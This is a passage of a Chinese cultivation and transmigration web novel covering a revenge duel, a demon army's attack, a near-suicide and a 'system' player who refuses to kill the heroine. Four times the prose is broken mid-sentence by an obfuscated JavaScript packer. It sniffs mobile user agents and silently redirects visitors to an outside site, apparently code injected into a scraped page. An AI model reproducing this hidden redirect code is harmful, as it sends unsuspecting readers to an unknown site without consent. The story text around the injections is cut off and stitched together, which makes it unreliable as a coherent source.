她一路高歌之时,谢远也没有掉下链子。 像是在和她暗中较劲,她快,他就比她更快地解决对手。 于是只小半日后,恰逢正午烈日当空,此次试剑大会以最快的速度,走向了终点。 在只剩下八位剑修的时候—— 虞香终于和谢远对上了。 明明是炎炎正午,他的脸色却阴沉得如同阎罗附身,连说出的话仿佛都带上了森森寒气。 谢远:“生死诀?” 虞香看了他一眼。 嘴中吐出二字。 “死诀。” 今日她与谢远—— 不是你死。 便是我亡。 28. 第 28 章 谢远是一个极难战胜的对手。 在这世上,不会有比一直被笼罩在他阴影下的虞香,更能清楚地认识到这一点了。 进救世门的前五年,她在谢远的手底下走不过一个回合。 第二个五年有所好转,她总算能在谢远的前三招内处于不败之地。 可这就已经是极限。 直到后来发生变故,她始终没有能更进一步。 后来她手持邪剑,也只是能接住谢远闻名天下的剑招诛天而已。 距离打败他,还差了一点。 但差的那一点,她在今天已经补上了空亏。 当初她在强逼追风认主时被废了右臂,不得不练了左手剑,也许……就是为了这一天。 “谢远,我等这一天真的已经太久了。” 虞香目光悠远。 她注视着十丈开外的谢远,仿佛看着的不止是此刻的他,而是过去无数个把她踩在脚下的三师兄。 虞香把追风换到左手上。 见状,谢远神情微变,他眉心收拢,似十分不悦。 “你何时左手持剑了?” “我理解你想剑走偏锋,但奉劝你不要留手,否则……你恐怕连出手的机会也没有了。” 虞香轻笑了下,没有解释。 从比试第一场到现在,她一直右手持剑就是因为不想被他看穿。 毕竟谢远也不必知道,追风在她左手中时,才能发挥出最大的威力。 而她不出声,谢远的话则变得多了起来。 他第一万次地惋惜起:“追风落在你手里,实在可惜。” 今天,他一脸痛惜遗憾地说出了和前世一模一样的话。 “追风之人追的是自由和随心,你执念太深,心思太重,发挥不出那种追崇自由的剑技。” 虞香能感受到握在手心的剑柄发出滚烫的热度。 它在愤怒。 面对谢远的指摘,虞香从不解释,但今天为了追风,她第一次开口了。 “师兄你错了。” “风是自由、随心、无常。” “既然是这么不可捉摸的东西,常人若是没点执念在身上,又怎么会追逐虚无缥缈的风呢?” “追风之人偏执、孤僻、极端。” “得追风者,必是执迷不悟一意孤行之人。” 谢远被她说得恍然。 但极快,他的眼神便重回坚定。 剑修必须对自身的信念坚定不移,一旦被动摇,轻则剑心不稳,重则走火入魔。 谢远:“多说无益,谁对谁错,直接见分晓吧。” 虞香:“正有此意。” 谢远是千年一遇的天才不假。 她虽是随处可见的平凡人,但今日她坐拥天时、地利、人和。 甚至怀抱着对谢远的仇恨,一直努力到了现在。 今天…… 虞香没有不赢的理由。 …… 谢远许是对她积怨已久。 他一上来并没有使出最拿手的剑招诛天,而是先与她短兵相接,一是试探她的虚实,二是想要一点点地磋磨她。 虞香自不可能给他这个机会。 一上来她火力全开! 抓住了谢远近身的机会,追风从高至下便是一记劈斩!剑风之中可见拔山盖世之势,连带着青云台外都发出了猛烈的爆炸声。 谢远若是迟了一秒避开,恐怕粉身碎骨就成了他的下场。 迎着对方不善眼神,虞香将他不久前说过的话原封返还: “你可不要留手了,否则……恐怕连使出绝技的机会也没有了。” 谢远眯眼评价:“油嘴滑舌。” 话落,两把剑开始激烈地纠缠! 犹如黑白双色的两道风暴直面对方,硬碰硬地撞击在了一起。 虞香过去在谢远手中走不过三招。 但也正因如此,她对他的前三招最为熟悉,即使闭上双眼,她仿佛也能看到谢远的黑剑将会从什么刁钻的角度刺来,又会以什么方式衔接。 前世的每一个深夜,虞香都在脑海中模拟,日想夜想怎么能在谢远身上留下剑伤。 她心怀怨恨、吞下血泪地韬光养晦,隐而不发,全都是为了今天。 为了这一刻。 她的剑划破他的左颊。 虞香:“这一剑,是还你在三九隆冬天,把我的脸踩进雪地里,叫我滚出师门。” 下一剑突刺,直接刺穿他的左手掌心! 虞香:“这一剑,是还你无顾同门情谊重伤我,让我在鬼门关前走了一遭。” 从剑尖飞起的血花遮蔽了谢远的视野,她一剑劈中了他的面门! 虞香:“这一剑,是还你脚尖碾在我胸口,无数次地羞辱我,说我配不上追风。” 谢远终于后退,与她拉开距离。 他抬手抹去从横跨了半张脸伤口流下的鲜血,视线紧锁在虞香脸上,睚眦欲裂,眼中的痛恨仿佛要将她生吞活剥。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861113|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他咬牙切齿道: “够了,一招见分晓吧。” 于是所有人都知道,谢远要使出他的成名剑招了。 霎时间,天象发生了异变。 云层被震碎,本来艳阳高照的大晴天忽然浮现出漫天诡异的紫光。 风声鹤唳,鸟惊鱼骇。 众人皆惊骇地抬首望天,唯独虞香一眨不眨地盯着被风罡所包围,无法再被近身的谢远。 她拔出了一直不曾出鞘的长祝。 前世最后一次见识到谢远的剑招诛天,她与阿邪破了他的攻势,却再无余力斩下他的首级。 可今日不同了。 她的右臂健在,手中握有两把剑。 上得天时,下得地利。 今日,她要让谢远…… 与草木同腐,万事皆休。 喧嚣之中,虞香动了。 她动作极快,但肉眼看过去时,画面恍然被分解成了一帧一帧。 那把无人在意的质朴铁剑,仿佛将一切按下了停止键,它扛着逆境前行,所至之处,风停浪止,烟消云散,万物回归到了最初的模样。 而在被平息了的沉寂之中,追风紧接其上。 剑势劈风斩浪,巨大的洪流在两侧掀起了千层的灵力浪潮。 剑风卷成螺旋纹路,挟着一股不死不休的执意,犹如万里穿云箭一般狠狠扎向了谢远! 这一刹那,虞香终于在谢远的脸上看到了从来没有见过的表情。 惊愕、恐惧。 懊悔、茫然。 就如那些年来在她脸上出现的种种。 夏笙笙:“三师兄——!” 须臾之间,虞香的余光看到了猛冲过来的夏笙笙。 她好像在说不要。 求她手下留情。 可要是她饶了今日的谢远,又有谁来放过昔日的她? 虞香迈向谢远的每一步中,皆没有一丝犹疑。 她已经记不清她等这一刻已经等了多少年。 如今…… 总算是让她等到了。 “呲噗——” 追风剑锋干净利落地扎进了谢远的胸口,剑身没入了他的血肉,巨大的冲击力像是钉子一样,将他死死钉在了青云台上! 虞香没有去看谢远的面若死灰,没有在意青云台下的喧嚣鼎沸。 她仰首望天。 神色比以往的任何一刻都要平静。 “这一切……终于要结束了。” 29. 第 29 章 谢远战败后,全场鸦雀无声。 没有人想到会是这样的结局。 毕竟就算谢远从一开始就处于劣势,即使虞香今日大出风头,可前者到底是横扫了整个修真界、称霸了十数年的诡剑。 那剑招诛天如同一座比天高的山伫立于无数人心中。 如今它不但被拆解,那个靠一把无名剑便纵横天下的剑修在青云台上生死不知……一切好像比做梦还要更加不现实。 醒得最快的人是夏笙笙。 见谢远被击倒后就没有了反应,她像是疯了一样地冲了上来。 她紧紧抱住谢远,脸颊全是泪水,以从未见过的激动情绪,向虞香发出怒吼: “他是你的三师兄——!!!” 虞香平静以对:“他只是你的三师兄。” “夏笙笙,不是所有人都能像你一样幸运。” “你口中的三师兄曾经打碎掉我八颗牙齿,断过我右手的手筋,打断我的胸骨、肋骨不计其次。” “这么多年来,我从未有一日当过他的师妹。” 夏笙笙被她说得愣愣,茫然得不肯接受现实:“一定是哪里有误会……” 闻言,虞香拔出追风的同时,运着真气猛踢了谢远一脚,又在夏笙笙惊恐的尖叫声中冷笑道: “装什么死?” “谢远你来告诉她这到底是不是误会?” 谢远捂着心口呕血,眼睛一眨不眨地盯着她。 他没有出声,没有回应夏笙笙一句句“师兄你告诉我不是真的”的乞求,于是夏笙笙便懂了。 她的表情像是天塌下来了一样。 见状,虞香倒微微笑了。 看别人信念倾塌的瞬间,果然是人间快事。 谢远:“总有一天……” 谢远:“这血债……必将血偿。” 虞香给予了肯定的鼓励。 “我也相信只要给你足够的时间,你一定能够反败为胜,再一次把我踩在你的脚底。” “但是啊……谢远。” 虞香的目光落到了远方,仿佛在那里……正有一群什么东西在急速靠近。 她的话依旧是对谢远说的: “你没有机会了。” “今日将会是你穷极一生都无法洗脱的污点,是无论如何都不可能翻转的败绩。” “你已经死在了今日,不可能再活过来了。” “谢远,是我赢了。” 便是在虞香话音落下之际,远方浩荡的妖族大军突然降临剑宗! 他们看着青云台上的三人一兽,发出通牒: “交出妖族前太子,烛苍——!” …… 对于虞香而言,这是杀死谢远最好的方式。 她要让百战不殆的谢远尝到败绩,却不给他报仇雪恨的机会。 她要杀死他的傲气自尊,郁郁半生,最后凄惨地失去生命。 而突如其来的妖族大军……将永远断绝他洗刷败绩的机会。 虞香将在今日,被远道而来的妖或愤怒的修士所杀死。 妖族大军前世也出现在了试剑大会上。 他们正是为此刻挂在了夏笙笙肩膀上的小狐狸而来。 谢远不费吹灰之力覆灭了全部的妖族死士,并不能打消他们杀死妖族前太子的决心。 于是他们找准了烛苍主人,也就是夏笙笙中毒的时机发难,想要趁势而下,一把将眼中钉拿下。 但即便放出了“若不交出烛苍,妖族与人族必再起纷争”这样的狠话,他们最终也没有能得逞。 谢远眼里只有夏笙笙,根本不在意世人是死是活。 夏笙笙重视朋友,让她交出烛苍,比杀了她还难。 再加上谢远是修真界的中流砥柱,刚赢下了试剑大会,夏笙笙是冉冉升起的新星,前途无可限量,所有修士全部都站在了他们的那一边。 不过今日,所有都不同了。 虞香第一次设计自己,就给自己设计出了一个完美的死局。 她废了谢远,凭一己之力拉光了整个剑宗的仇恨,不可能再有一个人,站在她的身边。 果然。 当她回绝了妖族大军的要求后,便收获了所有人愤恨的视线。 他们指责她不念旧情重伤昔日同门。 骂她是非不分,要为整个修真界掀起腥风血雨。 就连谢远都强撑着力气说出最后一句话:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861114|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你杀了陆寻和天宗堂主还不够,如今竟还想要掀起人妖两族的战争吗?!” 千夫所指下,除了听到天宗堂主的死讯时眉毛跳了下,突然明白了白衍机匆匆离去的理由,其它时候虞香皆面不改色。 那只踩在夏笙笙肩膀上的小狐狸则慌了神。 他跳下来抱着夏笙笙的手臂,用希冀的眼神仰望着她。 “笙笙……” 他似乎很相信夏笙笙不会弃他于不顾。 毕竟这些天来,他们每日形影不离,有说有笑,他能感受到她对他的喜爱。 况且她之前都为了救他而奋不顾身地施以援手,今天那一天定也…… 夏笙笙:“……对不起。” 像是做了很大的心里斗争后,她终于找到了内心的答案,然后把紧抱着她手臂,因她的一句对不起而愣在原地的烛苍推到地面。 虞香有些意外地了夏笙笙一眼。 就算今生烛苍阴差阳错地成了她的灵宠,但夏笙笙对烛苍也绝对不是没有感情。 能让她做出这种决定…… 夏笙笙:“我不能眼睁睁地看着修真界……血流成河。” 虞香立刻意识到是她让夏笙笙看到妖族死士全军覆没的画面,让她的心态发生了改变。 ……那倒是她对不起烛苍了。 想到这里,虞香伸手一把捞起了还在那里发愣的小狐狸,接着一脚把夏笙笙和谢远踢出老远。 她解不开血契。 但她死了烛苍倒也不会跟着沦殁,最多也就是重伤吧。 虞香眼睛看着的是乌泱泱的妖族大军,话则是对着烛苍说的。 “逃吧。” “在我死之前,逃到你能去到的最远地方。” 她终于低头,揉了揉烛苍发懵的小脑袋。 “要活下去。” 话落,虞香把烛苍扔向了最有可能逃脱的生天,接着朝同时出动的妖族大军猛冲了过去。 她与明尘的情怨已解。 今日大胜谢远,又以狂剑之名轰动了近半个修真界。 接下来即将救下受她牵连的烛苍,又能送林深意回家。 “……” 她这一生,值了。 30. 第 30 章 相依为命的妹妹因出车祸而住进了重症监护室的时候,是突然出现的系统,让林深意看到了希望的曙光。 眼前的时间被暂停了。 自称系统的人用荧光蓝色的文字告诉他,只要他能修正发生在5号攻略世界里的小说《我在修真界当团宠》的剧情,他的妹妹林静就能脱离生命危险。 林深意没有拒绝的理由。 进入小说世界前,他首先进入的是系统创造的维度空间。 维度空间里没有日夜,没有时间的概念,只有数字组成的光墙,系统提供的一把铁剑与修仙典籍,所有登场角色的资料,和仿佛无穷无尽的怪物。 怪物来自小说的末期。 按照系统记录,小说女配虞香虽然最后被白衍机杀死,但在她掌控邪剑期间修真界诞生了无数邪物,本该成为清剿邪物核心力量的救世门等人俱被她重伤。 小说女主角失去了她的本命剑。 小说男主角受到因失去剑主而狂暴化的邪剑的疯狂侵蚀。 成千上万只的邪物让这本甜宠小说走到了末路。 如果想要回到小说初期,必须要杀光所有邪物,方能修正因果,重头来过。 林深意背负上了这份责任。 他在维度空间停留了不知多久,杀戮了不知多久。 当最后一只妖兽被斩杀,小说世界才终于向他敞开了大门。 林深意记得十分清楚,他在踏入修真界的那一刻充满了信心。 因为他进入小说世界的时间点非常靠前,所有关键的转捩点尚未发生,他将以救世门四弟子的身份活动,样貌还像绝了小说的男主角明尘。 林深意想,也许不需要太久,他就能回到现实,见到脱离生命危险的妹妹。 然而—— 被系统评级为十星中三星的攻略任务却进行得并不顺利。 因为不仅是他,就连系统都不知道,早在虞香与他相遇之前…… 她就已经觉醒了第一次时间线里的记忆。 …… 对于林深意来说,虞香只是他的攻略对象。 系统向他发布了让虞香爱上他,阻止她黑化,杜绝5号攻略世界毁灭的任务。 于是他才假装深情,用含情脉脉的眼神看她。 可实际上,他对她并没有什么感情。 更何况在他面前的是曾经几乎毁灭过一次世界的反派女配。 攻略虞香,是他的责任,是他必须履行的指责。 所以林深意才会认真地记住了发生在虞香身上发生的每一个事件,试图去了解她、理解她,分析她是个什么样的人、她黑化的原因。 她需要什么。 她会爱上什么样的人。 最初的一切都像是在按照设定好的程序完成工作。 他真正开始投入了自己的感情、说出了计划以外的对白,是当虞香并没有按照他的预想行动,她变得捉摸不透,一举一动皆像是一个有自己想法的、活生生的人的时候。 没有人能解释虞香的变化,包括系统。 虽然发生了意料之外的变故,但林深意依旧按照了本来的计划,继续用一个温柔的师兄形象接近她。 那个叫陆寻的人拥有温暖明亮的笑容。 不管她怎么拒绝疏远,都始终会给她无微不至的关怀。 中间发生了许多事情。 当时间的跨度越拉越久,林深意一度以为攻略任务会失败。 但就在那一天,他突然被系统评定为任务完成,宣告世界不会再被毁灭,人还没有回过神,就已经被送回了现实世界。 在医院见到了由危转安的妹妹,林深意长舒了一口气,觉得所有的坚持都是值得的,一切终于都结束了。 然而等冷静下来后,他却忽然感到了遗憾。 他没有能跟虞香间接地说一句再见,就离开了那里。 事到如今,也已经再也没有挽回的机会了。 他什么都不能弥补。 因为系统已经彻底消失了。 …… 回到现实后的林深意花了很长的时间才回到了原本的生活节奏。 他在攻略世界停留得太久,以至于在现实世界中如同异物一样感到被排斥。 他做的梦是与修真界有关的梦。 而每一次在梦里,他都能见到虞香。 也是在这个时刻,林深意蓦然意识到和虞香在一起生活的九年时光,并不是可以说放下就放下的。 他相信自己对虞香的那份感情并不是爱,而是愧疚。 他骗了她,怀抱着不单纯的目的接近她,向她许下许多诺言后最终不告而别。 可现在的他什么都做不了,只能寄希望于他的替身能够尽忠职守,完成对她的承诺。 不过就连这点希望也很快被打破了。 荧光蓝色的文字突然在一天又出现在了他的眼前,再一次带走了他平静的生活。 【小说《我在修真界当团宠》攻略任务结果发生变化。】 【登场角色“陆寻”被判定为死亡。】 【请重新进行攻略。】 【登场角色“虞香”被判定为已黑化,当前危险级别为最高。】 【请杀死登场角色“虞香”,完成攻略任务。】 …… 第二次的攻略,是以林深意自己的身体进入了小说世界。 如果成功,他就能回到现实。 如果失败,他就会死。 失败的结果太苛刻,以至于让林深意并没有花费太多的时间,便做好了做心理建设。 他不想死。 他想要回到现实世界。 他唯一的亲人还在读高中,今年是她的高考,他的失踪一定会给她造成不小的打击。 他想看着她长大,成为能独当一面的成年人,还要在她谈恋爱的时候好好把关。 林深意对现实世界有太多挂念,所以再回到修真界……就算真真正正见到虞香的时候,那份杀死她的决心也没有发生改变。 他把她当成敌人来看待,举手投足间皆小心谨慎,避免在杀死她之前就被她反杀。 他第一次决心产生动摇的时候,是当意识到虞香认出了他就是陆寻。 那不是看待陌生人的眼神。 她望向他的眼神里没有一分一毫的恨,而是充满了对一个人的思念。 仅是看了一眼,林深意便不敢再看。 他像是落荒而逃的败兵一样,不但否认了陆寻的身份,更是对她百般冷漠。 因为他不想让她知道,现在她眼前这个想要杀死她的人,是她过去爱过的人。 是她思念至今的人。 所以林深意拒绝了系统建议他凭借“陆寻”的身份接近虞香,在她放松警惕时痛下杀手的提案。 他不想让她更苦了。 林深意一直寻求着最体面的方式,最体面的结局。 但当发现虞香即将被妖族死士的尸毒爆炸所伤,他忽而意识到自己原来在做无用功,全部都是毫无意义的挣扎。 他杀不了她。 甚至做不到眼睁睁地看着她死。 也许从很久以前开始…… 他对虞香的感情,就远比愧疚更多。 因为那是注定不可能有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861115|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果的感情。 因为那会显得他们太过悲惨。 所以他才会自顾自地将其定义为…… 愧疚。 …… 林深意向系统发起了抗争。 他首先试图向系统论证虞香并没有黑化,她不再具备毁灭小说世界的危险性,因此并没有被抹杀的必要。 但系统以【登场角色“虞香”已经和邪剑形成连接,拥有毁灭5号攻略世界的能力,必须杜绝0.001%的风险。】驳回了他,并警告他,如果他不认真完成任务,他将被新的攻略者所取代。 林深意不得已只能实施计划二。 虞香的死亡危机源自于系统。 那么只要剥夺了系统对于这个世界的控制权,那么便不再存在会有攻略者去攻略她、抹杀她,那么她就一定能得到自由。 身为攻略者的林深意不具备颠覆系统的力量,于是他瞄准了唯一能和系统抗衡的存在——邪剑。 这是林深意深思熟虑后得出的结论。 最初让他心生疑窦的是他在进入5号攻略世界之初,在维度空间内杀掉的那些邪祟。 邪剑拥有毁灭小说世界的力量,系统却不直接将其抹杀,甚至连邪剑生成的邪祟,都必须靠外力祛除,说明系统和邪剑之间并非从属关系。 后来系统为了安插他这个攻略者,改变了整个世界的记忆,让所有人都认为救世门有陆寻这么一个四弟子。 唯独虞香不受影响,她从一开始便清楚自己从未有过陆寻这个师兄,她甚至记起了一周目的一切。 最大的可能性,是她受到了邪剑的庇护。 所以…… 林深意想方设法地和邪剑进行了对话。 他向它提供了系统在无意间泄露出来的信息,再加上自己的一些推理,只希望邪剑能让5号攻略世界摆脱系统的控制,让虞香得到自由。 这当然是一步险棋。 因为邪剑的心中只有毁灭。 但是,林深意对虞香有信心。 她已经不再是一周目那个被嫉妒蒙蔽了双眼,一心只想要报复所有人的虞香了。 林深意的计划很顺利。 也相对付出了代价。 他与邪剑暗度陈仓的事情被系统发现,因此后者提前决定了他的死期。 【如果在试剑大会结束之前,你不能抹杀登场角色“虞香”,你将受到死亡惩罚。】 坦白说,在收到这封通知的时候,林深意的心情很复杂。 既有他对死亡的恐惧,对不能再见到妹妹的遗憾和内疚,可与此同时,他感受到了一种轻松愉悦。 既然系统的反应这般迅捷,说明他的行动是有效的。 也许不用太久,虞香就能摆脱系统的监视,得到自由的人生,美好的未来。 而为了那一刻的到来,林深意对她说了很多谎。 他告诉虞香,陆寻已死,这世上只剩下一个林深意。 告诉她自己从未爱过她,回到现实后从来没有一次想起过她。 依旧对她冷漠,和她保持距离。 因为他希望虞香痛恨他。 放弃他。 等他死了之后,能彻底忘掉他。 抛弃过去与现在,去伸手得到将来。 当然,因为虞香和明尘突然的亲近让他变得有点失去了控制。 但这都不要紧。 他的嫉妒只是一时的。 等这个世界摆脱了系统之后,她就能和任何一个她喜欢的人尽情地去相爱了。 这对放弃了攻略任务的林深意来说…… 是最棒的意义。 31. 第 31 章 当烛苍越逃越远,视野里再看不到小狐狸的身影了,虞香象征性地再反抗了一阵后,打法逐渐变得消极。 她放弃了挣扎。 开始安静地等待死亡的到来。 对于虞香来说,这是最好的结局了。 修真界将不必再遭遇灭顶之灾,不会再有群魔乱舞、杀人如芥。 每个人都能得到一个好结局,也包括她。 所有放不下的东西终于能够被放下。 就算死于众人的群起攻之,也是她过去从来不敢想象的一种善终。 普天之下唯一因此而愤怨的,大概只有她的阿邪了。 当意识到她打算就这么死去,它像是无法接受现实,在她脑海中响起的声音除了恍惚之余,全是难以置信。 “虞香……你不能这么对我。” “你忘了在你最痛苦的时候,只有我陪在你的身边。” “我豁出一切地去帮助你,支持你,甚至还帮你回想起了第一世的记忆。” “你成全了自己,成全了所有人……那我呢?” 它的情绪越说越激动,语气越说越激烈。 “你说追风是你的本命剑,我便放下自尊,与它好好相处!” “就连那把叫长祝的不入流的剑我都忍了!但你就是这么对我……” 虞香:“阿邪,如果你做的一切都是为了我,便不会背着我杀了天宗堂主。” 邪剑顿时说不出任何话来。 但虞香还是对它说了一句:“对不起。” 毕竟就像它说的那样。 她解放了自己。 却没有能拯救它。 “……” “……你休想死在这里!” 在它的话音落下之后,天色逐渐暗了下来。 轻风将草叶吹得簌簌作响,暗影浮动,像是有什么要从万物的影子之中诞生了。 似乎……不是错觉。 只是一晃神的间隙,真的有什么从影子里站了起来! 放眼望去整个剑宗,黑魆魆的暗影竟全是邪祟! 它们不但瞬间挡住了妖族大军的进攻,更是尝试控制本体,让他们所有人自相残杀,斗个你死我活。 分寸之间的变幻让虞香不禁闭上了双眼。 她的声线有了轻颤。 “……阿邪,已经够了。” “不够!” “不要再这样下去了。” “我偏要!” 虞香深深呼出了一口气,首次用近乎于恳求的口吻,向它说道: “阿邪。” “我现在觉得很痛苦。” “不要让我再继续痛苦下去了,好吗?” 邪剑没有出声。 它固执不肯放手,却只是更将虞香推向死亡。 修士叱责她与邪剑勾结,大喊她是女魔头,要将她拿下。 人们信了谢远的话,信了是她亲手杀死了同门的师兄和天宗堂主,痛骂她丧尽天良,猪狗不如。 虞香对他们的话是那样熟悉。 她有过不止一瞬觉得也许从来就没有什么时间倒流,她一直都活在过去,至今发生的所有事情,皆是她的南柯一梦。 “……够了。” 真的已经够了。 虞香闭上双眼、拿起追风的时候,它好像知道她的打算,于是发出了剧烈的震颤,与她的力量为之抗衡。 可它的挣扎只像是竹篮打水一场空。 在邪剑“虞香我不准你死!你不能死!”的尖叫声中,追风横在了她的颈侧。 一切即将就此结束。 也本该就此落幕。 但就是在千钧一发之际,这天底下唯有那一道能阻止她的声音出现在了这里。 他说:“虞香,抓住我!” 虞香闻声睁眼,看到的是林深意惊慌失措的脸庞。 他的神情是那么陌生,有一种强烈的不真实感,以至于让虞香以为是由于内心深处的过度渴望而产生了幻觉。 可是那个本应是幻影的人……不知道为什么紧紧抓住了她的手臂。 他手心的热度仿佛要将她灼伤。 那就好像……他是真的在担惊受怕。 唯恐她就此死去。 …… 虞香没有反抗。 她任林深意带着她一路疯逃,最后躲进了一个山洞里。 看着他用从来没有见过的东西抹去他们一路的痕迹,最后把剩下的全部倒在了洞口。 做完这一切,他如释重负地坐在了地上,隔了两秒才留意到了她安静的目光。 他下意识地转开头,不再与她对视,不太自然地用木棍翻了两下柴火。 林深意:“……这里很安全。” 虞香一点都不在意安不安全。 她倾身上前,赤手打飞了他手中的木棍,木棍咚声落地的同时星火飞溅。 四下变得有些安静,只偶尔听得见火焰燃烧时的爆鸣声。 虞香:“为什么要救我?” 虞香:“你不想回家了吗?” 林深意被逼得只能侧首望向她。 她的脸庞一如她的语气,有种隐藏在平静之下的窝火,那就像是她一直在努力地控制自己的情绪,却又禁不住对打乱了她的安排的他而恼怒。 于是自然而然的,本来被林深意强压下去的记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861116|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆,又再次浮现了上来。 那是他站在距离她还有十丈远的时候,眼睁睁地看着她露出放弃一切的表情,然后…… 将追风横在颈侧的瞬间。 林深意闭眼深吸了口气,把恐惧和悲痛的心情逼下去,才再用冷淡地表情、理所当然的口吻回道: “我会回去。” “我已经找到了不需要你死,也能够让我回家的方法。” ……当然是没有这种方法的。 而且由于虞香在试剑大会上的行动,如今整个修真界已经没有了她的立足之地。 所以在邪剑将5号攻略世界从系统的掌控中剥离之前,他必须要杀死明尘或者夏笙笙其中一个人,来实现第二次的重置。 一切,都是为了能让她得到自由,然后活下去。 可林深意的说辞似乎骗不了她。 听闻他找到了两全其美的办法,她露出似笑非笑的表情,接着轻描淡写地问他: “所以那是什么呢?” 林深意:“你不需要知道。” 结果她顿时失笑,嘴角还多了几分无奈与苦意。 “像你这样的人真不适合做攻略者。” “明明就还有更简单的方法。”她有些纳闷地伸手抚上他的脸颊,像是想把他的脑袋剖开来看看他到底在想什么,“我都那样对你了,为什么还要回头呢?” 当虞香的手顺着他脸的轮廓逐步向下,在她摸到他的喉结,触碰到他“砰咚砰咚”跳动着的心口之前,他用力地抓住了她的手腕,面若霜雪,声如寒冰。 林深意:“不是为了你。” 林深意:“我只是不想良心遭到谴责,永远活在对你的愧疚中。” 她哼声笑道:“你说话可真伤人。” 林深意:“真相向来刺耳。” “可是你让我很难过。” 她的声音又回到了与过去一般的平静,但在那平静之中,似乎隐隐透出了一种疯感。 “如果你再让我难过……我就一剑了结了自己,让你永远活在对我的亏欠之中。” 林深意就是被她这种不像样的威胁逼乱了阵脚。 他心有戚戚,却只能强作镇定,不知如何是好。 所幸是她先服了软。 虞香:“所以这两天就稍微对我说两句好话吧?好吗?” 林深意沉默地看了一眼系统界面。 【由于登场角色“虞香”向你表现出亲近,死亡期限将被延长三日,请在倒计时结束前杀死目标,完成攻略任务。】 【剩余时间:71:58:24】 他合上双眼。 最后不露声色地应了声好。 32. 第 32 章 虞香不是没有察觉到林深意似乎想要做些什么的念头。 可无论他想做什么,要做什么,都不可能改变她最初的想法。 之所以与他“握手言和”,是因为虞香不想等林深意回到他的故乡之后,每每想起她时,想到的就只有争吵和斗嘴。 只有悲伤的记忆。 哪怕只有一次也好。 当他在偶然一个不经意间回忆起她的时刻,他的表情不会那么严肃,不全是厌恶,也许还会微微笑起来。 然后在心中感慨: 啊,原来曾经也有过那样的一段经历。 虞香想得就是这么简单。 于是在躲避着追兵,应林深意要求而前往救世门的路上,她放下唇枪舌剑,像是一个明天就会死去的人,疯狂地去珍惜今天的每一分、每一秒。 虞香:“林深意,你能不能跟我说一说你的家乡……是什么样子的?” 他先是愣了下。 最后点了点头,没有拒绝。 …… 林深意口中的“现实世界”是一个和修真界截然不同的地方。 那里不分三界,没有修士,没有仙,也没有妖。 人无法修真,寿命最长不过百年,而从一出生,他们大部分的人便会开始学习,学习语言,学习知识,成年以后步入社会,开始工作,一直到临近死亡的时候。 就算期间幸运地遇到了伴侣,在一起相处的时间也只有短短的几十年。 他们会在极快的相遇后分离。 一开始是家里的老人,然后是父母,接着可能是朋友、爱人。 也有可能是任何一个亲近的人。 虞香对这样的人生感到既残忍,又无情,更是枯燥无比。 听到她的评论,林深意赶紧解释并非她想的那样,他们的生活有许多娱乐方式,不如她想的那么糟糕。 可就算他这么说,虞香也想象不出能从铁做的小盒子、大盒子里得到什么样的乐趣。 由于早已辟谷,所以无法理解能从美味的食物里得到什么样的满足感。 为什么会从远足登高中得到成就感,社交活动又怎么会让人感到放松? 虞香无法理解林深意口中的现实世界,也渐渐失去了最初的兴趣。 但她还是源源不断地追问了下去。 她听着林深意从小小的一个金属盒子,讲到现代科学,又到华夏文明西方诸神。 小到个人的衣食住行,大到世界的人文文化。 虞香嘴上恩声应答,仿佛认真在听,实际上,她的注意力一直在林深意的脸上。 当在说起他的故乡,林深意的眼睛里有了光。 那不是外在的光源照在他眼睛里的光。 而是因为热爱、留恋、向往,整个人好像忽然被灌进了无限的生气和活力,所以那双在她面前总是压抑的眼睛里开始变得有神,仿佛在熠熠生辉。 林深意眼神最柔和、话最多的时候,是在谈起他的妹妹。 言语之间全都是对她的思念、对她的担忧。 然而在最后一句结语中,他说的却是: “没关系,她已经长大了,我相信她能照顾好自己。” 林深意应是太投入在了感情中,于是才没有意识到自己说出来的话有多么的前后矛盾。 真正即将回家的人,是不会用这样遗憾惋惜的口吻,说出这样的话。 他根本就没有找到两全其美的办法。 